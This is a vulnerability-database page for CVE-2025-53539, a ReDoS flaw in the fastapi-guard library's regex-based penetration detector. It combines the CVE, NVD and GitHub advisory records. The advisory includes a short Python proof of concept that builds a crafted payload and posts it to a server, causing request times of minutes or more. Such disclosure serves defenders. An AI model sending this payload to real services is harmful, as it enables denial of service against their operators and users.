cvelistv5 - cve-2025-53539

CVE-2025-53539 (GCVE-0-2025-53539)

Vulnerability from cvelistv5 – Published: 2025-07-07 19:16 – Updated: 2025-07-07 20:51

Title

ReDoS in fastapi-guard's penetration attempts detector

Summary

FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.

Severity ?

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M

References

URL

Tags

	https://github.com/rennf93/fastapi-guard/security…	x_refsource_CONFIRM
	https://github.com/rennf93/fastapi-guard/commit/d…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	rennf93	fastapi-guard	Affected: < 3.0.1

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-53539

Vulnerability from fkie_nvd - Published: 2025-07-07 20:15 - Updated: 2025-07-08 16:18

Severity ?

6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f
	security-advisories@github.com	https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard\u0027s penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1."
    },
    {
      "lang": "es",
      "value": "FastAPI Guard es una librer\u00eda de seguridad para FastAPI que proporciona middleware para controlar IP, registrar solicitudes y detectar intentos de penetraci\u00f3n. La detecci\u00f3n de intentos de penetraci\u00f3n de fastapi-guard utiliza expresiones regulares para analizar las solicitudes entrantes. Sin embargo, algunos patrones de expresiones regulares utilizados en la detecci\u00f3n son extremadamente ineficientes y pueden causar retrocesos de complejidad polin\u00f3mica al procesar entradas especialmente manipuladas. Esta vulnerabilidad se corrigi\u00f3 en la versi\u00f3n 3.0.1."
    }
  ],
  "id": "CVE-2025-53539",
  "lastModified": "2025-07-08T16:18:34.923",
  "metrics": {
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          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
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          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
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          "subConfidentialityImpact": "NONE",
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          "valueDensity": "NOT_DEFINED",
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GHSA-J47Q-RC62-W448

Vulnerability from github – Published: 2025-07-07 23:36 – Updated: 2025-07-07 23:36

Summary

fastapi-guard is vulnerable to ReDoS through inefficient regex

Details

Summary

fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.

It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.

PoC

e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7

payload = lambda n: '<'*n+ ' '*n+ 'style=' + '"'*n + ' '*n+ 'url('*n # complexity: O(n^5)

print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)

Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.

Impact

Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False are vulnerable to DoS.

Severity ?

0.0 (None)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-07T23:36:39Z",
    "nvd_published_at": "2025-07-07T20:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: \u0027\u003c\u0027*n+ \u0027 \u0027*n+ \u0027style=\u0027 + \u0027\"\u0027*n + \u0027 \u0027*n+ \u0027url(\u0027*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.",
  "id": "GHSA-j47q-rc62-w448",
  "modified": "2025-07-07T23:36:39Z",
  "published": "2025-07-07T23:36:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rennf93/fastapi-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fastapi-guard is vulnerable to ReDoS through inefficient regex"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-53539 (GCVE-0-2025-53539)

FKIE_CVE-2025-53539

GHSA-J47Q-RC62-W448

Summary

PoC

Impact

Tags

Sightings

Nomenclature